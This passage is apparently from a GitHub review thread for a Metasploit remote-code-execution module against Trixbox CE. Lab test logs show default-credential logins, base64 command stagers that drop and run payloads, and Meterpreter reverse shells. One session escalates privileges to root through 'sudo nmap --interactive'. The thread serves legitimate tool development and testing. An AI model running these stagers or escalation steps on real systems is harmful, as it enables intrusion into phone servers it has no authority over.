                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" id="okvir">
                        <tr>
                                <td>
                                <table width="100%" cellspacing="0">
                                        <tr id="header">
                                                <td>
                                                <img src="images/blank.gif" width="35" height="10" /></td>
                                                <td id="headerlogo" height="65px">
                                                <a href="http://www.trixbox.org">
                                                <img src="images/logo.png" width="204" height="51" alt="trixbox" border="0" /></a></td>
                                                <td align="right" id="headerbanner">Configuration and Administration   
                                                </td>
                                            <td id="headerlogo"><img src="images/gears.png" width="64" height="64" alt="Configuration and Administration" border="0" /></td>
                                        </tr>
                                        <tr>
                                                <td colspan="4">
                                                <table cellspacing="0" cellpadding="0" width="100%" border="0">
                                                        <tr align="center">
                                                                <td width="588" bgcolor="#004081"></td>
                                                                <td id="headmenu">
                                                                <a class="menuHead" href="index.php">MAIN</a></td>
                                                                <td width="1" bgcolor="#d7d7d7"></td>
                                                                <td id="headmenu">
                                                                <a class="menuHead" href="about.php">ABOUT</a></td>
                                                                <td width="1" bgcolor="#d7d7d7"></td>
                                                        </tr>
                                                </table>
                                                </td>
                                        </tr>
                                </table>
                                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                        <tr>
                                                <td>
                                                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                                        <tr>
                                                            <td align="left" class="vrijeme">Version: 1.2.3

                                                                 </td>
```

```
                                                        <td align="right" class="vrijeme">
                                                        <span id="clock"></span>
                                                        <script language="JavaScript" type="text/javascript" src="include/clock.js"></script>
                                                         </td>
                                                </tr>
                                        </table>
                                        </td>
                                </tr>
                        </table><!-- start left blocks -->
                <table border="0" cellpadding="0" cellspacing="0" id="glavna">
                        <tr>
                                <td id="leftcolumn">
                                <div class="blockTitle">Asterisk</div>
                                <div class="blockContent">
                                        <table cellspacing="0">
                                                <tr><td id="mainmenu">
                                                        <a class="menuTop" href="/admin" target="_blank">FreePBX</a>
                                                        <a class="menuTop" href="configedit/phpconfig.php" target="_blank">Config Edit</a>
                                                        <a class="menuTop" href="asterisk_info.php" target="_blank">Asterisk Info</a>
                                                        <a class="menuTop" href="endpointcfg.php">Endpoint Manager</a>
                                                        <a class="menuTop" href="hudadmin.php">HUD Manager</a>
                                                        <a class="menuTop" href="spwizard.php">Service Provider Wizard</a>

                                                </td></tr>
                                        </table>
                                </div>
                                <div class="blockTitle">System</div>
                                <div class="blockContent">
                                        <table cellspacing="0">
                                                <tr><td id="mainmenu">
                                                <a class="menuTop" href="phpMyAdmin" target="_blank">phpMyAdmin</a>
                                                <a class="menuTop" href="phpsysinfo" target="_blank">System Info</a>
                                                <a class="menuTop" href="sysmaint.php">System Maint</a>
                                                <a class="menuTop" href="javassh.php">SSH Terminal</a>
                                                <a class="menuTop" href="/munin" target="_blank">Munin</a>
                                                </td></tr>
                                        </table>
                                </div>
                                <img src="images/160.gif" width="160" height="1" alt="" />
                        <br />
                        <br />
                        </td>
<!-- end left blocks -->
        <!-- Display center blocks -->
<td id="centercolumn">
 <table class="sadrzaj" cellspacing="0">
  <tr>
        <td id="centerCcolumn" >
         <table align="center" cellpadding="0" cellspacing="2">
          <tr>
           <td>
                <div class="blockTitle">Main Menu</div>
                <div class="blockContent">Welcome to trixbox
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                </div>

           </td>
          </tr>
         </table>
        </td>
   </tr>
 </table>
</td>
<!-- End Display center blocks -->

                                        </tr>
                                        <tr>
                                                <td colspan="3">  </td>
                                        </tr>
                                </table>
                                </td>
                        </tr>
                </table>
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                                <td width="21"><img src="images/bot_cat_left.gif" border="0" /></td>
                                <td align="middle" width="100%" background="images/bot_cat_bg.gif">
                                </td>
                                <td width="21"><img src="images/bot_cat_right.gif" border="0" /></td>
                        </tr>
                </table>
                </td>
        </tr>
</table>
<table width="758" border="0" align="center" cellpadding="0" cellspacing="0" class="dole">
        <tr>
                <td>
                <div class="privatnost">
                        <br />
                        Copyright &copy 2006 by
                        <a href="http://www.trixbox.org" target="_self">trixbox.org</a>
                        <br />
                        <br />
                </div>
                </td>
        </tr>
```

```
</table>

</body>

</html>
[+] 192.168.205.146:80 - Authenticated successfully.
[+] 192.168.205.146:80 - Trixbox CE v.x identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 3, 2020 • edited Contributor

I figured out why TrixBox CE 2.0 is failing. Turns out, at least on my install, this server takes several seconds to respond and is much slower than most other installs. This is causing the login request to time out so when exploiting the target, a response is never received in time. I would recommend increasing the timeout by several seconds to allow not only for the fact that this build is slower, but also to allow for the overhead that any slow connections might impose.

gwillcox-r7 commented on May 4, 2020 Contributor

TrixBox v1.0: Not correctly identifying the version:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOST 192.168.205.144
RHOST => 192.168.205.144
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.144:80 - Authenticating using "maint:password" credentials...
####################
# Request:
####################
GET /maint/ HTTP/1.1
Host: 192.168.205.144
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded


####################
# Response:
####################
HTTP/1.1 200 OK
Date: Thu, 30 Apr 2020 19:19:52 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 5034
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" />
<meta http-equiv="content-language" content="en" />
<title>trixbox - Configuration and Administration</title>
<link href="favicon.ico" rel="SHORTCUT ICON" />
<link rel="stylesheet" type="text/css" media="all" href="include/css/styleNN.css" />
<!-- RMV: added module header -->
</head>

<body>

<table border="0" align="center" cellpadding="0" cellspacing="0" class="okvir_main">
        <tr>
                <td>
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                                <td width="21"><img src="images/top_tab_left.gif" border="0" /></td>
                                <td align="middle" width="100%" background="images/top_tab_bg.gif">
                                </td>
                                <td width="21"><img src="images/top_tab_right.gif" border="0" /></td>
                        </tr>
                </table>
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" id="okvir">
                        <tr>
                                <td>
                                <table width="100%" cellspacing="0">
                                        <tr id="header">
                                                <td>
                                                <img src="images/blank.gif" width="35" height="10" /></td>
                                                <td id="headerlogo" height="65px">
                                                <a href="http://www.trixbox.org">
                                                <img src="images/logo.png" width="212" height="55" alt="trixbox" border="0" /></a></td>
                                                <td align="right" id="headerbanner">Configuration and Administration   
                                                </td>
                                            <td id="headerlogo"><img src="images/gears.png" width="64" height="64" alt="Configuration and Administration" border="0" /></td>
                                        </tr>
                                        <tr>
                                                <td colspan="4">
                                                <table cellspacing="0" cellpadding="0" width="100%" border="0">
                                                        <tr align="center">
                                                                <td width="588" bgcolor="#004081"></td>
                                                                <td id="headmenu">
                                                                <a class="menuHead" href="index.php">MAIN</a></td>
                                                                <td width="1" bgcolor="#d7d7d7"></td>
                                                                <td id="headmenu">
                                                                <a class="menuHead" href="about.php">ABOUT</a></td>
                                                                <td width="1" bgcolor="#d7d7d7"></td>
                                                        </tr>
                                                </table>
                                                </td>
                                        </tr>
                                </table>
                                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                        <tr>
```

```
                                        <td>
                                        <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td align="left" class="vrijeme">Version: 1.0

                                                         </td>

                                                        <td align="right" class="vrijeme">
                                                        <span id="clock"></span>
                                                        <script language="JavaScript" type="text/javascript" src="include/clock.js"></script>
                                                         </td>
                                                </tr>
                                        </table>
                                        </td>
                                </tr>
                        </table>
                        <table border="0" cellpadding="0" cellspacing="0" id="glavna">
                                <tr>
                                        <td id="leftcolumn">
                                        <!-- Start left blocks loop -->
                                        <div class="blockTitle">Asterisk</div>
                                        <div class="blockContent">
                                                <table cellspacing="0">
                                                        <tr><td id="mainmenu">
                                                                <a class="menuTop" href="/admin" target="_blank">FreePBX</a>
                                                                <a class="menuTop" href="configedit/phpconfig.php" target="_blank">Config Edit</a>
                                                                <a class="menuTop" href="endpointcfg.php">Endpoint Manager</a>
                                                                <a class="menuTop" href="hudadmin.php">HUD Manager</a>
                                                        </td></tr>
                                                </table>
                                        </div>
                                        <div class="blockTitle">System</div>
                                        <div class="blockContent">
                                                <table cellspacing="0">
                                                        <tr><td id="mainmenu">
                                                                <a class="menuTop" href="phpMyAdmin" target="_blank">phpMyAdmin</a>
                                                                <a class="menuTop" href="phpsysinfo" target="_blank">System Info</a>
                                                                <a class="menuTop" href="sysmaint.php">System Maint</a>
                                                                <a class="menuTop" href="javassh.php">SSH Terminal</a>
                                                        </td></tr>
                                                </table>
                                        </div>
                                        <img src="images/160.gif" width="160" height="1" alt="" />
                                        <!-- End left blocks loop --><br />
                                        <br />
                                        </td><td id="centercolumn">
        <div id="content">
                <div class="blockTitle">Main Menu</div>
                <div class="blockContent">
  Welcome to trixbox

                </div>
        </div>
  <br />
  <br />
  <br />
  </td>

                                        </tr>
                                        <tr>
                                                <td colspan="3">  </td>
                                        </tr>
                                </table>
                                </td>
                        </tr>
                </table>
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                                <td width="21"><img src="images/bot_cat_left.gif" border="0" /></td>
                                <td align="middle" width="100%" background="images/bot_cat_bg.gif">
                                </td>
                                <td width="21"><img src="images/bot_cat_right.gif" border="0" /></td>
                        </tr>
                </table>
                </td>
        </tr>
  </table>
  <table width="758" border="0" align="center" cellpadding="0" cellspacing="0" class="dole">
        <tr>
                <td>
                <div class="privatnost">
                        <br />
                        Copyright &copy 2006 by
                        <a href="http://www.trixbox.org" target="_self">trixbox.org</a>
                        <br />
                        <br />
                </div>
                </td>
        </tr>
  </table>

  </body>

  </html>
  [+] 192.168.205.144:80 - Authenticated successfully.
  [+] 192.168.205.144:80 - Trixbox CE v.x identified.
  [-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
  [*] Exploit completed, but no session was created.
  msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 4, 2020 • edited

Contributor

@stasinopoulos Here is an updated regex that will fix the regex you have at the moment in your code and will update the output to be better:

```
version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
print_good("#{peer} - Trixbox CE #{version} identified.")
```

If I run this against TrixBox CE 1.1, the output is now a lot more obvious:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.147:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.147:80 - Authenticated successfully.
[+] 192.168.205.147:80 - Trixbox CE 1.1.0 identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

Targeting TrixBox 2.4.2.0, this output becomes somewhat less reliable...

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE 2.0.0 identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAIAECACABAjqAAAAgAEAAAcAAAAEAAAvUbnnCTb19l0JPRYMcmxH4PABDFoEQNoEeKzjZZ6ColQYT9uzAy9wJRZIO3ZzfmGGVkwV/K
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/RBUGF' <
'/tmp/OQykC.b64' ; chmod +x '/tmp/RBUGF' ; '/tmp/RBUGF' ; rm -f '/tmp/RBUGF' ; rm -f '/tmp/OQykC.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 4 opened (192.168.205.1:4444 -> 192.168.205.150:60710) at 2020-05-03 23:27:00 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: no-user @ trixbox1.localdomain (uid=102, gid=103, euid=102, egid=103)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.150 - Meterpreter session 4 closed.  Reason: User exit
```

Looking at the code for later versions I can see that your regex would work better. What I propose is perhaps combing both together:

```
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1})/).flatten.first
    if version.nil?
      version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
      if version.nil?
        print_error("Unable to grab version of Trixbox installed on target!")
        return nil
       end
    end
```

wvu commented on May 4, 2020 — Contributor

```
Server username: no-user
```

I am so fixing that this week.

👍 1 ❤️ 1

gwillcox-r7 commented on May 4, 2020 • edited — Contributor

Okay with this regex:

```
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1})/).flatten.first
    if version.nil?
      version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
      if version.nil?
        print_error("Unable to grab version of Trixbox installed on target!")
        return nil
       end
    end
```

We get some nice results at long last:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE 2.4.0 identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAIAECACABAjqAAAAgAEAAAcAAAAEAAAunbrcPna2dl0JPRfK8mxHzFXFYPHBANXEeKDgXqnWo2MtM9yIFHtxKAsEOmtuImabW7gWgZ
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/LLWIJ' <
'/tmp/VuDji.b64' ; chmod +x '/tmp/LLWIJ' ; '/tmp/LLWIJ' ; rm -f '/tmp/LLWIJ' ; rm -f '/tmp/VuDji.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 9 opened (192.168.205.1:4444 -> 192.168.205.150:60303) at 2020-05-03 23:47:06 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.150 - Meterpreter session 9 closed.  Reason: User exit
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.144
RHOSTS => 192.168.205.144
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.144:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.144:80 - Authenticated successfully.
 identified.205.144:80 - Trixbox CE 1.0
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.146
RHOSTS => 192.168.205.146
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.146:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.146:80 - Authenticated successfully.
[+] 192.168.205.146:80 - Trixbox CE 1.2.3 identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

Version info is now finally more accurate 🤯 Still need to work on why its detecting Trixbox CE 1.2.3 as not vulnerable though.

❤️ 2

gwillcox-r7 commented on May 4, 2020 • edited ▾ Contributor

Ah so found out why it wasn't detecting that version. Your last check was waaaaaaaaaay too specific. Here is what is was before:

```
elsif Gem::Version.new(version) == Gem::Version.new('1.2')
```

And here is the new version:

```
elsif Gem::Version.new(version).between?(Gem::Version.new('1.2'), Gem::Version.new('1.9'))
      @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
```

Lesson here: **Don't do checks specifically on a one branches's release number. There are typically multiple releases within a branch or within one major.minor release**.

Edit here is the code working now with these updates:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.146:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.146:80 - Authenticated successfully.
[+] 192.168.205.146:80 - Trixbox CE 1.2.3 identified.
[*] 192.168.205.146:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjqAAAAgAEAAAcAAAAAEAAAu8WPOqja3tl0JPRYMcmxHzFYFQNYFYPo/OIw5TD2iyGz5biWb4A8qfbdoQR2Snr/t92x/18
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/xkjQL' <
'/tmp/FrZkS.b64' ; chmod +x '/tmp/xkjQL' ; '/tmp/xkjQL' ; rm -f '/tmp/xkjQL' ; rm -f '/tmp/FrZkS.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.146
[*] Meterpreter session 10 opened (192.168.205.1:4444 -> 192.168.205.146:32775) at 2020-05-03 23:57:12 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter >
```

gwillcox-r7 commented on May 4, 2020 Contributor

@stasinopoulos Okay with updates this is what things look like atm:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.144:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.144:80 - Authenticated successfully.
 identified.205.144:80 - Trixbox CE 1.0
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.147
RHOSTS => 192.168.205.147
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.147:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.147:80 - Authenticated successfully.
[+] 192.168.205.147:80 - Trixbox CE 1.1.0 identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.148
RHOSTS => 192.168.205.148
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.148:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.148:80 - Authenticated successfully.
[+] 192.168.205.148:80 - Trixbox CE 1.2.0 identified.
[*] 192.168.205.148:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAAEAAAAAAAAAAIAECACABAjqAAAAgAEAAAcAAAAAEAAA2eXZdCT0XzHJsR+9FTcPCzFvGoPHBANvFuLgXQVVO3nuimg+QieMcAI+cb1L1ypWjHABp2S
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IsRTn' <
'/tmp/JjFxk.b64' ; chmod +x '/tmp/IsRTn' ; '/tmp/IsRTn' ; rm -f '/tmp/IsRTn' ; rm -f '/tmp/JjFxk.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.148
[*] Meterpreter session 11 opened (192.168.205.1:4444 -> 192.168.205.148:32774) at 2020-05-04 00:18:06 -0500
[*] 192.168.205.146 - Meterpreter session 10 closed.  Reason: Died
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.148 - Meterpreter session 11 closed.  Reason: User exit
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.145
RHOSTS => 192.168.205.145
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.145:80 - Authenticating using "maint:password" credentials...
[-] Exploit aborted due to failure: unreachable: Connection failed.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.150
RHOSTS => 192.168.205.150
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE 2.4.0 identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAAEAAAAAAAAAAIAECACABAjqAAAAgAEAAAcAAAAAEAAAvhcSgina0tl0JPRYMcmxHzFwFYPo/ANwEeLieIh3PaZ7ZG4b1wGSK7Fcc4a+yChxf14DgBe
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/FPEAL' <
'/tmp/pSjqF.b64' ; chmod +x '/tmp/FPEAL' ; '/tmp/FPEAL' ; rm -f '/tmp/FPEAL' ; rm -f '/tmp/pSjqF.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 12 opened (192.168.205.1:4444 -> 192.168.205.150:47103) at 2020-05-04 00:22:02 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.150 - Meterpreter session 12 closed.  Reason: User exit
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

The timeout is on TrixBox CE 2.0 due to delays on the host, again just need that timeout update. Same with TrixBox CE 2.2.12.

gwillcox-r7 commented on May 4, 2020 — Contributor

Well I guess when the timeout doesn't happen, CE 2.2.1 is actually pretty good:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set VERBOSE false
VERBOSE => false
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.151:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.151:80 - Authenticated successfully.
[+] 192.168.205.151:80 - Trixbox CE 2.2.1 identified.
[*] 192.168.205.151:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.205.151
[*] Meterpreter session 13 opened (192.168.205.1:4444 -> 192.168.205.151:32771) at 2020-05-04 00:32:43 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > getuid
Server username: no-user @ asterisk1.local (uid=100, gid=101, euid=100, egid=101)
meterpreter > shell
Process 4082 created.
Channel 1 created.
pwd
/var/www/html/maint/modules/11_endpointcfg
```

```
whoami
asterisk
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

gwillcox-r7 commented on May 4, 2020 • edited Contributor

TrixBox CE 2.6.2.2 seems to work well with updates:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.152:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.152:80 - Authenticated successfully.
[+] 192.168.205.152:80 - Trixbox CE 2.6.2 identified.
[*] 192.168.205.152:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.205.152
[*] Meterpreter session 14 opened (192.168.205.1:4444 -> 192.168.205.152:42177) at 2020-05-04 01:08:56 -0500

[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter >
meterpreter > getuid
Server username: no-user @ trixbox1.localdomain (uid=100, gid=101, euid=100, egid=101)
meterpreter > shell
Process 3616 created.
Channel 1 created.
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
whoami
asterisk
pwd
/var/www/html/maint/modules/endpointcfg
```

And here is TrixBox 2.8.0.4:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.153:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.153:80 - Authenticated successfully.
[+] 192.168.205.153:80 - Trixbox CE 2.8.0 identified.
[*] 192.168.205.153:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.205.153
[*] Meterpreter session 15 opened (192.168.205.1:4444 -> 192.168.205.153:59912) at 2020-05-04 01:10:25 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter >
```

Looks like I might need to update the regex to catch one more potential period and number. Will attempt this tomorrow as initial attempts show that `check` method might need more edits from me.

stasinopoulos commented on May 4, 2020 Contributor Author

@stasinopoulos Here is an updated regex that will fix the regex you have at the moment in your code and will update the output to be better:

```
version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
print_good("#{peer} - Trixbox CE #{version} identified.")
```

If I run this against TrixBox CE 1.1, the output is now a lot more obvious:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.147:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.147:80 - Authenticated successfully.
[+] 192.168.205.147:80 - Trixbox CE 1.1.0 identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

Targeting TrixBox 2.4.2.0, this output becomes somewhat less reliable...

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE 2.0.0 identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAAEAAAAAAAAAAIAECACABAjqAAAAgAEAAAcAAAAAEAAAvUbnnCTb19l0JPRYMcmxH4PABDFoEQNoEeKzjZZ6ColQYT9uzAy9wJRZIO3ZzfmGGV
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 &&
python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null >
